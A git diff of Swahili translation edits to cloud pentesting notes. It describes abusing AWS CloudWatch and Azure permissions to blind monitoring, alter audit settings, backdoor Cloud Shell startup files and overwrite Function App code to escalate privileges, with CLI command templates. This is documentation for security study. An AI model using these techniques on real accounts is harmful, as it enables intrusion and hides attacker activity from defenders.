Mfano ufuatao unaonyesha jinsi ya kufanya kipimo cha kugundua anomali kisifanye kazi. Kipimo hiki cha kugundua anomali kinachunguza matumizi ya wastani ya CPU ya mfano maalum wa EC2, na kwa kuongeza tu parameter ya “ExcludedTimeRanges” na kipindi kinachotakiwa, itakuwa ya kutosha kuhakikisha kwamba kipimo cha kugundua anomali hakichambui au kuonya kuhusu data yoyote muhimu wakati huo.
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="Original Metric Anomaly Detector" }}
|
||||
@@ -355,22 +355,22 @@ Mfano ufuatao unaonyesha jinsi ya kufanya kipimo cha kugundua anomali kisifanye
|
||||
|
||||
### **`cloudwatch:DeleteDashboards`, `cloudwatch:PutDashboard`**
|
||||
|
||||
Mshambuliaji angeweza kuathiri uwezo wa ufuatiliaji na uonyeshaji wa shirika kwa kuunda, kubadilisha au kufuta dashibodi zake. Ruhusa hizi zinaweza kutumika kuondoa mwonekano muhimu wa utendaji na afya ya mifumo, kubadilisha dashibodi kuonyesha data zisizo sahihi au kuficha shughuli mbaya.
|
||||
Mshambuliaji angeweza kuathiri uwezo wa ufuatiliaji na uonyeshaji wa shirika kwa kuunda, kubadilisha au kufuta dashibodi zake. Ruhusa hizi zinaweza kutumika kuondoa mwonekano muhimu katika utendaji na afya ya mifumo, kubadilisha dashibodi kuonyesha data zisizo sahihi au kuficha shughuli mbaya.
|
||||
```bash
|
||||
aws cloudwatch delete-dashboards --dashboard-names <value>
|
||||
aws cloudwatch put-dashboard --dashboard-name <value> --dashboard-body <value>
|
||||
```
|
||||
**Madhara Yanayoweza Kutokea**: Kupoteza ufuatiliaji wa kuona na taarifa za kupotosha.
|
||||
**Madhara Yanayoweza Kutokea**: Kupoteza ufuatiliaji wa mwonekano na taarifa za kupotosha.
|
||||
|
||||
### **`cloudwatch:DeleteInsightRules`, `cloudwatch:PutInsightRule`, `cloudwatch:PutManagedInsightRule`**
|
||||
|
||||
Sheria za uelewa zinatumika kugundua anomali, kuboresha utendaji, na kusimamia rasilimali kwa ufanisi. Kwa kufuta sheria za uelewa zilizopo, mshambuliaji anaweza kuondoa uwezo muhimu wa ufuatiliaji, na kuacha mfumo kuwa kipofu kwa matatizo ya utendaji na vitisho vya usalama. Zaidi ya hayo, mshambuliaji anaweza kuunda au kubadilisha sheria za uelewa ili kuzalisha data za kupotosha au kuficha shughuli mbaya, na kusababisha uchambuzi usio sahihi na majibu yasiyofaa kutoka kwa timu ya operesheni.
|
||||
Sheria za uelewa zinatumika kugundua anomali, kuboresha utendaji, na kusimamia rasilimali kwa ufanisi. Kwa kufuta sheria za uelewa zilizopo, mshambuliaji anaweza kuondoa uwezo muhimu wa ufuatiliaji, na kuacha mfumo ukiwa kipofu kwa masuala ya utendaji na vitisho vya usalama. Zaidi ya hayo, mshambuliaji anaweza kuunda au kubadilisha sheria za uelewa ili kuzalisha data za kupotosha au kuficha shughuli mbaya, na kusababisha uchambuzi usio sahihi na majibu yasiyofaa kutoka kwa timu ya operesheni.
|
||||
```bash
|
||||
aws cloudwatch delete-insight-rules --rule-names <value>
|
||||
aws cloudwatch put-insight-rule --rule-name <value> --rule-definition <value> [--rule-state <value>]
|
||||
aws cloudwatch put-managed-insight-rules --managed-rules <value>
|
||||
```
|
||||
**Madhara Yanayoweza Kutokea**: Ugumu wa kugundua na kujibu matatizo ya utendaji na tofauti, kufanya maamuzi yasiyo sahihi na kwa uwezekano kuficha shughuli mbaya au kushindwa kwa mfumo.
|
||||
**Madhara Yanayoweza Kutokea**: Ugumu wa kugundua na kujibu matatizo ya utendaji na anomali, kufanya maamuzi yasiyo sahihi na kwa uwezekano kuficha shughuli mbaya au kushindwa kwa mfumo.
|
||||
|
||||
### **`cloudwatch:DisableInsightRules`, `cloudwatch:EnableInsightRules`**
|
||||
|
||||
@@ -383,13 +383,13 @@ aws cloudwatch enable-insight-rules --rule-names <value>
|
||||
|
||||
### **`cloudwatch:DeleteMetricStream` , `cloudwatch:PutMetricStream` , `cloudwatch:PutMetricData`**
|
||||
|
||||
Mshambuliaji mwenye ruhusa za **`cloudwatch:DeleteMetricStream`** , **`cloudwatch:PutMetricStream`** angeweza kuunda na kufuta mitiririko ya data za metriki, akihatarisha usalama, ufuatiliaji na uadilifu wa data:
|
||||
Mshambuliaji mwenye ruhusa za **`cloudwatch:DeleteMetricStream`** , **`cloudwatch:PutMetricStream`** angeweza kuunda na kufuta mitiririko ya data za metriki, akihatarisha usalama, ufuatiliaji na uaminifu wa data:
|
||||
|
||||
- **Kuunda mitiririko ya uhalifu**: Kuunda mitiririko ya metriki kutuma data nyeti kwa maeneo yasiyoidhinishwa.
|
||||
- **Unda mitiririko ya uharibifu**: Unda mitiririko ya metriki kutuma data nyeti kwa maeneo yasiyoidhinishwa.
|
||||
- **Manipulering ya rasilimali**: Uundaji wa mitiririko mipya ya metriki yenye data nyingi unaweza kuzalisha kelele nyingi, kusababisha arifa zisizo sahihi, kuficha masuala halisi.
|
||||
- **Kuvuruga ufuatiliaji**: Kufuta mitiririko ya metriki, washambuliaji wangeweza kuvuruga mtiririko wa data za ufuatiliaji. Kwa njia hii, shughuli zao za uhalifu zingefichwa kwa ufanisi.
|
||||
- **Kuvuruga ufuatiliaji**: Kwa kufuta mitiririko ya metriki, washambuliaji wangeweza kuvuruga mtiririko wa data za ufuatiliaji. Kwa njia hii, shughuli zao za uharibifu zingefichwa kwa ufanisi.
|
||||
|
||||
Vivyo hivyo, kwa ruhusa ya **`cloudwatch:PutMetricData`**, ingekuwa inawezekana kuongeza data kwenye mitiririko ya metriki. Hii inaweza kusababisha DoS kutokana na kiasi cha data zisizo sahihi zilizoongezwa, na kuifanya kuwa isiyo na maana kabisa.
|
||||
Vivyo hivyo, kwa ruhusa ya **`cloudwatch:PutMetricData`**, ingekuwa inawezekana kuongeza data kwenye mitiririko ya metriki. Hii inaweza kusababisha DoS kutokana na kiasi cha data zisizo sahihi zilizoongezwa, na kuifanya kuwa isiyo na matumizi kabisa.
|
||||
```bash
|
||||
aws cloudwatch delete-metric-stream --name <value>
|
||||
aws cloudwatch put-metric-stream --name <value> [--include-filters <value>] [--exclude-filters <value>] --firehose-arn <value> --role-arn <value> --output-format <value>
|
||||
|
||||
@@ -4,10 +4,10 @@
|
||||
|
||||
## Cloud Shell Persistence
|
||||
|
||||
Azure Cloud Shell inatoa ufikiaji wa amri ili kudhibiti rasilimali za Azure kwa kuhifadhi kudumu na uthibitishaji wa kiotomatiki. Washambuliaji wanaweza kutumia hili kwa kuweka milango ya nyuma katika saraka ya nyumbani ya kudumu:
|
||||
Azure Cloud Shell inatoa ufikiaji wa amri ili kudhibiti rasilimali za Azure kwa kuhifadhi endelevu na uthibitishaji wa kiotomatiki. Washambuliaji wanaweza kutumia hii kwa kuweka milango ya nyuma katika saraka ya nyumbani ya kudumu:
|
||||
|
||||
* **Persistent Storage**: Saraka ya nyumbani ya Azure Cloud Shell imewekwa kwenye sehemu ya faili ya Azure na inabaki salama hata baada ya kikao kumalizika.
|
||||
* **Startup Scripts**: Faili kama .bashrc zinafanya kazi kiotomatiki mwanzoni mwa kila kikao, kuruhusu utekelezaji wa kudumu wakati shell ya wingu inaanza.
|
||||
* **Startup Scripts**: Faili kama .bashrc zinafanya kazi kiotomatiki mwanzoni mwa kila kikao, kuruhusu utekelezaji endelevu wakati shell ya wingu inaanza.
|
||||
|
||||
Mfano wa milango ya nyuma katika .bashrc:
|
||||
```bash
|
||||
|
||||
+1
-1
@@ -26,7 +26,7 @@ az storage blob download \
|
||||
```
|
||||
### `Microsoft.Storage/storageAccounts/blobServices/containers/blobs/write`
|
||||
|
||||
Mtu mwenye ruhusa hii ataweza **kuandika na kufuta faili katika kontena** ambayo inaweza kumruhusu kufanya uharibifu au hata kupandisha mamlaka (kwa mfano, kufuta baadhi ya msimbo uliohifadhiwa katika blob):
|
||||
Mtu mwenye ruhusa hii ataweza **kuandika na kufuta faili katika kontena** ambayo inaweza kumruhusu kuleta uharibifu au hata kuongeza mamlaka (kwa mfano, kufuta baadhi ya msimbo uliohifadhiwa katika blob):
|
||||
```bash
|
||||
# e.g. Microsoft.Storage/storageAccounts/blobServices/containers/blobs/write
|
||||
az storage blob upload \
|
||||
|
||||
+4
-4
@@ -19,7 +19,7 @@ az cosmosdb update \
|
||||
--public-network-access ENABLED
|
||||
```
|
||||
### `Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/read` && `Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/write`
|
||||
Kwa ruhusa hii, unaweza kuunda au kubadilisha kontena (makusanyo) ndani ya hifadhidata ya SQL ya akaunti ya Azure Cosmos DB. Kontena zinatumika kuhifadhi data, na mabadiliko kwao yanaweza kuathiri muundo wa hifadhidata na mifumo ya ufikiaji.
|
||||
Kwa ruhusa hii, unaweza kuunda au kubadilisha kontena (makusanyo) ndani ya database ya SQL ya akaunti ya Azure Cosmos DB. Kontena zinatumika kuhifadhi data, na mabadiliko kwao yanaweza kuathiri muundo wa database na mifumo ya ufikiaji.
|
||||
```bash
|
||||
# Create
|
||||
az cosmosdb sql container create \
|
||||
@@ -66,7 +66,7 @@ az cosmosdb keys regenerate \
|
||||
```
|
||||
### `Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/userDefinedFunctions/write` && `Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/userDefinedFunctions/read`
|
||||
|
||||
Kwa ruhusa hii, unaweza kuunda au kubadilisha triggers ndani ya kontena la database ya SQL katika akaunti ya Azure Cosmos DB. Triggers zinakuwezesha kutekeleza mantiki ya upande wa seva kama majibu ya operesheni.
|
||||
Kwa ruhusa hii, unaweza kuunda au kubadilisha triggers ndani ya kontena la database ya SQL katika akaunti ya Azure Cosmos DB. Triggers zinakuwezesha kutekeleza mantiki ya upande wa seva kama jibu kwa operesheni.
|
||||
```bash
|
||||
az cosmosdb sql trigger create \
|
||||
--account-name <account_name> \
|
||||
@@ -90,7 +90,7 @@ az cosmosdb sql stored-procedure create \
|
||||
--body 'function sample() { return "Hello, Cosmos!"; }'
|
||||
```
|
||||
### `Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/triggers/write` && `Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/triggers/read`
|
||||
Kwa ruhusa hii, unaweza kuunda au kubadilisha vichocheo ndani ya kontena la hifadhidata ya SQL katika akaunti ya Azure Cosmos DB. Vichocheo vinakuruhusu kutekeleza mantiki ya upande wa seva kama jibu kwa operesheni kama vile kuingiza, kusasisha, au kufuta.
|
||||
Kwa ruhusa hii, unaweza kuunda au kubadilisha vichocheo ndani ya kontena la hifadhidata ya SQL katika akaunti ya Azure Cosmos DB. Vichocheo vinakuwezesha kutekeleza mantiki ya upande wa seva kama jibu kwa operesheni kama vile kuingiza, kusasisha, au kufuta.
|
||||
```bash
|
||||
az cosmosdb sql trigger create \
|
||||
--account-name <account_name> \
|
||||
@@ -112,7 +112,7 @@ az cosmosdb mongodb collection create \
|
||||
--name <collection_name>
|
||||
```
|
||||
### `Microsoft.DocumentDB/databaseAccounts/mongodbDatabases/write` && `Microsoft.DocumentDB/databaseAccounts/mongodbDatabases/read`
|
||||
Kwa ruhusa hii, unaweza kuunda hifadhidata mpya za MongoDB ndani ya akaunti ya Azure Cosmos DB. Hii inaruhusu kuandaa hifadhidata mpya kuhifadhi na kusimamia makusanyo na hati.
|
||||
Kwa ruhusa hii, unaweza kuunda hifadhidata mpya za MongoDB ndani ya akaunti ya Azure Cosmos DB. Hii inaruhusu kuandaa hifadhidata mpya kuhifadhi na kusimamia makusanyo na nyaraka.
|
||||
```bash
|
||||
az cosmosdb mongodb database create \
|
||||
--account-name <account_name> \
|
||||
|
||||
+1
-1
@@ -30,7 +30,7 @@ az storage file download \
|
||||
```
|
||||
### `Microsoft.Storage/storageAccounts/fileServices/fileshares/files/write`, `Microsoft.Storage/storageAccounts/fileServices/writeFileBackupSemantics/action`
|
||||
|
||||
Mtu mwenye ruhusa hii ataweza **kuandika na kufuta faili katika sehemu za faili** ambazo zinaweza kumruhusu kuleta uharibifu au hata kuongeza mamlaka (kwa mfano, kufuta baadhi ya msimbo uliohifadhiwa katika sehemu ya faili):
|
||||
Mtu mwenye ruhusa hii ataweza **kuandika na kufuta faili katika sehemu za faili** ambayo inaweza kumruhusu kuleta uharibifu au hata kupandisha mamlaka (kwa mfano, kufuta baadhi ya msimbo uliohifadhiwa katika sehemu ya faili):
|
||||
```bash
|
||||
az storage blob upload \
|
||||
--account-name <acc-name> \
|
||||
|
||||
+1
-1
@@ -19,7 +19,7 @@ az logic workflow identity remove/assign \
|
||||
--user-assigned "/subscriptions/<subscription_id>/resourceGroups/<resource_group>/providers/Microsoft.ManagedIdentity/userAssignedIdentities/<identity_name>"
|
||||
```
|
||||
### `Microsoft.Web/sites/read`, `Microsoft.Web/sites/write`
|
||||
Kwa ruhusa hizi, unaweza kuunda au kuboresha Logic Apps zinazohifadhiwa kwenye Mpango wa Huduma ya App. Hii inajumuisha kubadilisha mipangilio kama vile kuwezesha au kuzima utekelezaji wa HTTPS.
|
||||
Kwa ruhusa hizi, unaweza kuunda au kuboresha Logic Apps zinazohifadhiwa kwenye Mpango wa Huduma ya Programu. Hii inajumuisha kubadilisha mipangilio kama vile kuwezesha au kuzima utekelezaji wa HTTPS.
|
||||
```bash
|
||||
az logicapp update \
|
||||
--resource-group <resource_group_name> \
|
||||
|
||||
+2
-2
@@ -11,7 +11,7 @@ Kwa maelezo zaidi kuhusu MySQL Database angalia:
|
||||
|
||||
### `Microsoft.DBforMySQL/flexibleServers/databases/write` && `Microsoft.DBforMySQL/flexibleServers/databases/read`
|
||||
|
||||
Kwa ruhusa hii, unaweza kuunda hifadhidata mpya ndani ya mfano wa MySQL Flexible Server kwenye Azure. Ingawa kitendo hiki mwenyewe hakibadilishi rasilimali zilizopo, kuunda hifadhidata nyingi kupita kiasi au zisizoidhinishwa kunaweza kusababisha matumizi ya rasilimali, au matumizi mabaya ya seva.
|
||||
Kwa ruhusa hii, unaweza kuunda hifadhidata mpya ndani ya mfano wa MySQL Flexible Server kwenye Azure. Ingawa kitendo hiki mwenyewe hakibadilishi rasilimali zilizopo, kuunda hifadhidata kupita kiasi au bila ruhusa kunaweza kusababisha matumizi ya rasilimali, au matumizi mabaya ya seva.
|
||||
```bash
|
||||
az mysql flexible-server db create \
|
||||
--server-name <server_name> \
|
||||
@@ -58,7 +58,7 @@ az mysql flexible-server firewall-rule update \
|
||||
```
|
||||
### `Microsoft.DBforMySQL/flexibleServers/resetGtid/action`
|
||||
|
||||
Kwa ruhusa hii, unaweza kurekebisha GTID (Global Transaction Identifier) kwa mfano wa MySQL Flexible Server kwenye Azure. Kurekebisha GTID kutafanya kuwa batili nakala zote za otomatiki, za mahitaji na geo-backups ambazo zilichukuliwa kabla ya hatua ya kurekebisha. Baada ya kurekebisha GTID, huwezi kufanya PITR (point-in-time-restore) kwa kutumia pointi ya kurekebisha haraka au kwa pointi ya kurekebisha ya kawaida ikiwa wakati wa kurekebisha uliochaguliwa uko kabla ya wakati wa kurekebisha GTID. Na kurekebisha geo-kufaulu kutakuwa na uwezekano tu baada ya siku 5.
|
||||
Kwa ruhusa hii, unaweza kurekebisha GTID (Global Transaction Identifier) kwa mfano wa MySQL Flexible Server kwenye Azure. Kurekebisha GTID kutafanya kuwa batili nakala zote za otomatiki, za mahitaji na geo-backups ambazo zilichukuliwa kabla ya hatua ya kurekebisha. Baada ya kurekebisha GTID, hautaweza kufanya PITR (point-in-time-restore) kwa kutumia pointi ya kurejesha ya haraka au kwa pointi ya kurejesha ya kawaida ikiwa wakati wa kurejesha uliochaguliwa uko kabla ya wakati wa kurekebisha GTID. Na kurejesha kwa mafanikio geo kutakuwa na uwezekano tu baada ya siku 5.
|
||||
```bash
|
||||
az mysql flexible-server reset-gtid \
|
||||
--name \
|
||||
|
||||
+3
-3
@@ -11,7 +11,7 @@ Kwa maelezo zaidi kuhusu PostgreSQL Database angalia:
|
||||
|
||||
### `Microsoft.DBforPostgreSQL/flexibleServers/databases/write` && `Microsoft.DBforPostgreSQL/flexibleServers/databases/read`
|
||||
|
||||
Kwa ruhusa hii, unaweza kuunda hifadhidata mpya ndani ya mfano wa Postgres Flexible Server kwenye Azure. Ingawa kitendo hiki mwenyewe hakibadilishi rasilimali zilizopo, kuunda hifadhidata nyingi au zisizoidhinishwa kunaweza kusababisha matumizi ya rasilimali, au matumizi mabaya ya seva.
|
||||
Kwa ruhusa hii, unaweza kuunda hifadhidata mpya ndani ya mfano wa Postgres Flexible Server kwenye Azure. Ingawa kitendo hiki mwenyewe hakibadilishi rasilimali zilizopo, kuunda hifadhidata nyingi kupita kiasi au zisizoidhinishwa kunaweza kusababisha matumizi ya rasilimali, au matumizi mabaya ya seva.
|
||||
```bash
|
||||
az postgres flexible-server db create \
|
||||
--server-name <server_name> \
|
||||
@@ -29,7 +29,7 @@ az postgres flexible-server backup create \
|
||||
```
|
||||
### `Microsoft.DBforPostgreSQL/flexibleServers/advancedThreatProtectionSettings/write` && `Microsoft.DBforPostgreSQL/flexibleServers/advancedThreatProtectionSettings/read`
|
||||
|
||||
Kwa ruhusa hii, unaweza kuunda au kusasisha mipangilio ya Advanced Threat Protection (ATP) kwa mfano wa Postgres Flexible Server kwenye Azure. Hii inaruhusu kuwezesha au kuzima vipengele vya usalama vilivyoundwa kugundua na kujibu shughuli zisizo za kawaida na vitisho vinavyoweza kutokea.
|
||||
Kwa ruhusa hii, unaweza kuunda au kusasisha mipangilio ya Advanced Threat Protection (ATP) kwa mfano wa Postgres Flexible Server kwenye Azure. Hii inaruhusu kuwezesha au kuzima vipengele vya usalama vilivyoundwa kugundua na kujibu shughuli zisizo za kawaida na vitisho vya uwezekano.
|
||||
```bash
|
||||
az postgres flexible-server threat-protection-policy update \
|
||||
--name <server_name> \
|
||||
@@ -38,7 +38,7 @@ az postgres flexible-server threat-protection-policy update \
|
||||
```
|
||||
### `Microsoft.DBforPostgreSQL/flexibleServers/firewallRules/write`, `Microsoft.DBforPostgreSQL/flexibleServers/read` && `Microsoft.DBforPostgreSQL/flexibleServers/firewallRules/read`
|
||||
|
||||
Kwa ruhusa hii, unaweza kuunda au kubadilisha sheria za firewall kwa mfano wa Postgres Flexible Server kwenye Azure. Hii inaruhusu kudhibiti ni anwani zipi za IP au maeneo gani yanaweza kufikia seva. Matumizi yasiyoidhinishwa au yasiyo sahihi ya ruhusa hii yanaweza kufichua seva kwa ufikiaji usiohitajika au mbaya.
|
||||
Kwa ruhusa hii, unaweza kuunda au kubadilisha sheria za firewall kwa mfano wa Postgres Flexible Server kwenye Azure. Hii inaruhusu udhibiti juu ya ni anwani zipi za IP au maeneo gani yanaweza kufikia seva. Matumizi yasiyoidhinishwa au yasiyo sahihi ya ruhusa hii yanaweza kufichua seva kwa ufikiaji usiohitajika au mbaya.
|
||||
```bash
|
||||
# Create Rule
|
||||
az postgres flexible-server firewall-rule create \
|
||||
|
||||
+2
-2
@@ -42,7 +42,7 @@ az sql elastic-pool update \
|
||||
```
|
||||
### `Microsoft.Sql/servers/auditingSettings/read` && `Microsoft.Sql/servers/auditingSettings/write`
|
||||
|
||||
Kwa ruhusa hii, unaweza kubadilisha au kuwezesha mipangilio ya ukaguzi kwenye Azure SQL Server. Hii inaweza kumruhusu mshambuliaji au mtumiaji aliyeidhinishwa kubadilisha usanidi wa ukaguzi, ambayo inaweza kuficha alama au kuelekeza kumbukumbu za ukaguzi kwenye eneo chini ya udhibiti wao. Hii inaweza kuzuia ufuatiliaji wa usalama au kuwezesha kuendelea kufuatilia vitendo. KUMBUKA: Ili kuwezesha ukaguzi kwa Azure SQL Server ukitumia Blob Storage, lazima uunganishe akaunti ya hifadhi ambapo kumbukumbu za ukaguzi zinaweza kuhifadhiwa.
|
||||
Kwa ruhusa hii, unaweza kubadilisha au kuwezesha mipangilio ya ukaguzi kwenye Azure SQL Server. Hii inaweza kumruhusu mshambuliaji au mtumiaji aliyeidhinishwa kubadilisha usanidi wa ukaguzi, ambayo inaweza kufunika nyayo au kuelekeza kumbukumbu za ukaguzi kwenye eneo chini ya udhibiti wao. Hii inaweza kuzuia ufuatiliaji wa usalama au kuwezesha kuendelea kufuatilia vitendo. KUMBUKA: Ili kuwezesha ukaguzi kwa Azure SQL Server ukitumia Blob Storage, lazima uunganishe akaunti ya hifadhi ambapo kumbukumbu za ukaguzi zinaweza kuhifadhiwa.
|
||||
```bash
|
||||
az sql server audit-policy update \
|
||||
--server <server_name> \
|
||||
@@ -76,7 +76,7 @@ az sql db export \
|
||||
```
|
||||
### `Microsoft.Sql/servers/databases/import/action`
|
||||
|
||||
Kwa ruhusa hii, unaweza kuingiza database kwenye Azure SQL Server. Mshambuliaji au mtumiaji aliyeidhinishwa mwenye ruhusa hii anaweza kuhamasisha databases zenye madhara au zilizobadilishwa. Hii inaweza kusababisha kudhibiti data nyeti au kwa kuingiza scripts au triggers zenye madhara ndani ya database iliyounganishwa. Zaidi ya hayo, unaweza kuingiza kwenye seva yako mwenyewe katika azure. Kumbuka: Seva lazima iruhusu huduma na rasilimali za Azure kufikia seva hiyo.
|
||||
Kwa ruhusa hii, unaweza kuingiza database kwenye Azure SQL Server. Mshambuliaji au mtumiaji aliyeidhinishwa mwenye ruhusa hii anaweza kuhamasisha databases zenye madhara au zilizobadilishwa. Hii inaweza kusababisha kupata udhibiti wa data nyeti au kwa kuingiza scripts au triggers zenye madhara ndani ya database iliyounganishwa. Zaidi ya hayo, unaweza kuingiza kwenye seva yako mwenyewe katika azure. Kumbuka: Seva lazima iruhusu huduma na rasilimali za Azure kufikia seva hiyo.
|
||||
```bash
|
||||
az sql db import --admin-user <admin-user> \
|
||||
--admin-password <admin-password> \
|
||||
|
||||
@@ -11,7 +11,7 @@ Kwa maelezo zaidi kuhusu SQL Database angalia:
|
||||
|
||||
### (`Microsoft.DocumentDB/databaseAccounts/sqlRoleDefinitions/write`, `Microsoft.DocumentDB/databaseAccounts/sqlRoleDefinitions/read`) & (`Microsoft.DocumentDB/databaseAccounts/sqlRoleAssignments/write`, `Microsoft.DocumentDB/databaseAccounts/sqlRoleAssignments/read`)
|
||||
|
||||
Kwa ruhusa hizi unaweza kupandisha hadhi kwa kumpa mtumiaji ruhusa za kutekeleza maswali na kuungana na database. Kwanza, jukumu la ufafanuzi linaundwa likitoa ruhusa na mipaka inayohitajika.
|
||||
Kwa ruhusa hizi unaweza kupandisha hadhi kwa kumuwezesha mtumiaji ruhusa za kutekeleza maswali na kuungana na hifadhidata. Kwanza, jukumu la ufafanuzi linaundwa likitoa ruhusa na mipaka inayohitajika.
|
||||
```bash
|
||||
az cosmosdb sql role definition create \
|
||||
--account-name <account_name> \
|
||||
|
||||
+21
-21
@@ -12,13 +12,13 @@ Angalia ukurasa ufuatao kwa maelezo zaidi:
|
||||
|
||||
### Bucket Read/Write
|
||||
|
||||
Kwa ruhusa za kusoma kontena ndani ya Akaunti ya Hifadhi inayohifadhi data za kazi inawezekana kupata **kontena tofauti** (za kawaida au zenye majina yaliyowekwa awali) ambayo yanaweza kuwa na **msimbo unaotekelezwa na kazi**.
|
||||
Kwa ruhusa za kusoma kontena ndani ya Akaunti ya Hifadhi inayohifadhi data za kazi, inawezekana kupata **kontena tofauti** (za kawaida au zenye majina yaliyowekwa awali) ambayo yanaweza kuwa na **msimbo unaotekelezwa na kazi**.
|
||||
|
||||
Mara tu unapopata mahali ambapo msimbo wa kazi umehifadhiwa ikiwa una ruhusa za kuandika juu yake unaweza kufanya kazi itekeleze msimbo wowote na kupandisha mamlaka kwa vitambulisho vilivyojumuishwa na kazi hiyo.
|
||||
Mara tu unapopata mahali ambapo msimbo wa kazi umehifadhiwa, ikiwa una ruhusa za kuandika juu yake, unaweza kufanya kazi itekeleze msimbo wowote na kupandisha haki kwa utambulisho unaosimamiwa ulioambatanishwa na kazi hiyo.
|
||||
|
||||
- **`File Share`** (`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING` na `WEBSITE_CONTENTSHARE`)
|
||||
|
||||
Msimbo wa kazi kwa kawaida huhifadhiwa ndani ya file share. Kwa ufikiaji wa kutosha inawezekana kubadilisha faili ya msimbo na **kufanya kazi ipakue msimbo wowote** ikiruhusu kupandisha mamlaka kwa vitambulisho vilivyojumuishwa na Kazi.
|
||||
Msimbo wa kazi kwa kawaida huhifadhiwa ndani ya file share. Kwa ufikiaji wa kutosha, inawezekana kubadilisha faili ya msimbo na **kufanya kazi ipakue msimbo wowote** ikiruhusu kupandisha haki kwa utambulisho unaosimamiwa ulioambatanishwa na Kazi.
|
||||
|
||||
Njia hii ya kutekeleza kawaida huweka mipangilio **`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING`** na **`WEBSITE_CONTENTSHARE`** ambazo unaweza kupata kutoka
|
||||
```bash
|
||||
@@ -31,7 +31,7 @@ Mikakati hiyo itakuwa na **Storage Account Key** ambayo Function inaweza kutumia
|
||||
> [!CAUTION]
|
||||
> Kwa ruhusa ya kutosha kuungana na File Share na **kubadilisha skripti** inayotumika, inawezekana kutekeleza msimbo wowote katika Function na kupandisha ruhusa.
|
||||
|
||||
Mfano ufuatao unatumia macOS kuungana na file share, lakini inashauriwa pia kuangalia ukurasa ufuatao kwa maelezo zaidi kuhusu file shares:
|
||||
Mfano ufuatao unatumia macOS kuungana na file share, lakini inapendekezwa pia kuangalia ukurasa ufuatao kwa maelezo zaidi kuhusu file shares:
|
||||
|
||||
{{#ref}}
|
||||
../az-services/az-file-shares.md
|
||||
@@ -47,7 +47,7 @@ open "smb://<STORAGE-ACCOUNT>.file.core.windows.net/<FILE-SHARE-NAME>"
|
||||
```
|
||||
- **`function-releases`** (`WEBSITE_RUN_FROM_PACKAGE`)
|
||||
|
||||
Ni kawaida pia kupata **zip releases** ndani ya folda `function-releases` ya kontena la Akaunti ya Hifadhi ambayo programu ya kazi inatumia katika kontena **ambalo kwa kawaida linaitwa `function-releases`**.
|
||||
Ni kawaida pia kupata **zip releases** ndani ya folda `function-releases` ya kontena la Akaunti ya Hifadhi ambayo programu ya kazi inatumia katika kontena **ambayo kwa kawaida inaitwa `function-releases`**.
|
||||
|
||||
Kwa kawaida, njia hii ya kutekeleza itapanga config ya `WEBSITE_RUN_FROM_PACKAGE` katika:
|
||||
```bash
|
||||
@@ -55,10 +55,10 @@ az functionapp config appsettings list \
|
||||
--name <app-name> \
|
||||
--resource-group <res-group>
|
||||
```
|
||||
Hii config kwa kawaida itakuwa na **SAS URL ya kupakua** msimbo kutoka kwa Akaunti ya Hifadhi.
|
||||
Hii config kawaida itakuwa na **SAS URL ya kupakua** msimbo kutoka kwa Akaunti ya Hifadhi.
|
||||
|
||||
> [!CAUTION]
|
||||
> Kwa ruhusa ya kutosha kuungana na kontena la blob ambalo **linashikilia msimbo katika zip** inawezekana kutekeleza msimbo wowote katika Kazi na kupandisha mamlaka.
|
||||
> Kwa ruhusa ya kutosha kuungana na kontena la blob ambalo **linashikilia msimbo katika zip** inawezekana kutekeleza msimbo wowote katika Kazi na kupandisha ruhusa.
|
||||
|
||||
- **`github-actions-deploy`** (`WEBSITE_RUN_FROM_PACKAGE)`
|
||||
|
||||
@@ -118,11 +118,11 @@ az storage blob upload \
|
||||
```
|
||||
### `Microsoft.Web/sites/host/listkeys/action`
|
||||
|
||||
Ruhusa hii inaruhusu kuorodhesha funguo za kazi, funguo kuu na funguo za mfumo, lakini si funguo za mwenyeji, za kazi iliyotajwa kwa:
|
||||
Ruhusa hii inaruhusu kuorodhesha funguo za kazi, mkuu na mfumo, lakini si funguo za mwenyeji, za kazi iliyotajwa na:
|
||||
```bash
|
||||
az functionapp keys list --resource-group <res_group> --name <func-name>
|
||||
```
|
||||
Na funguo kuu, pia inawezekana kupata msimbo wa chanzo katika URL kama:
|
||||
Kwa funguo kuu pia inawezekana kupata msimbo wa chanzo katika URL kama:
|
||||
```bash
|
||||
# Get "script_href" from
|
||||
az rest --method GET \
|
||||
@@ -172,7 +172,7 @@ az functionapp keys set --resource-group <res_group> --key-name <key-name> --key
|
||||
```
|
||||
### `Microsoft.Web/sites/config/list/action`
|
||||
|
||||
Ruhusa hii inaruhusu kupata mipangilio ya kazi. Ndani ya hizi mipangilio inaweza kuwa na uwezo wa kupata thamani za msingi **`AzureWebJobsStorage`** au **`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING`** ambazo zina **funguo ya akaunti ya kufikia hifadhi ya blob ya kazi kwa ruhusa KAMILI**.
|
||||
Ruhusa hii inaruhusu kupata mipangilio ya kazi. Ndani ya hizi mipangilio inaweza kuwa na uwezo wa kupata thamani za msingi **`AzureWebJobsStorage`** au **`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING`** ambazo zina **funguo za akaunti za kufikia uhifadhi wa blob wa kazi kwa ruhusa KAMILI**.
|
||||
```bash
|
||||
az functionapp config appsettings list --name <func-name> --resource-group <res-group>
|
||||
```
|
||||
@@ -183,17 +183,17 @@ az rest --method POST \
|
||||
```
|
||||
### `Microsoft.Web/sites/config/list/action`, `Microsoft.Web/sites/config/write`
|
||||
|
||||
Hizi ruhusa zinaruhusu kuorodhesha thamani za usanidi wa kazi kama tulivyoona hapo awali pamoja na **kubadilisha hizi thamani**. Hii ni muhimu kwa sababu mipangilio hii inaonyesha mahali ambapo msimbo wa kutekeleza ndani ya kazi unapatikana.
|
||||
Hizi ruhusa zinaruhusu kuorodhesha thamani za config za kazi kama tulivyoona hapo awali pamoja na **kubadilisha hizi thamani**. Hii ni muhimu kwa sababu mipangilio hii inaonyesha mahali ambapo msimbo wa kutekeleza ndani ya kazi unapatikana.
|
||||
|
||||
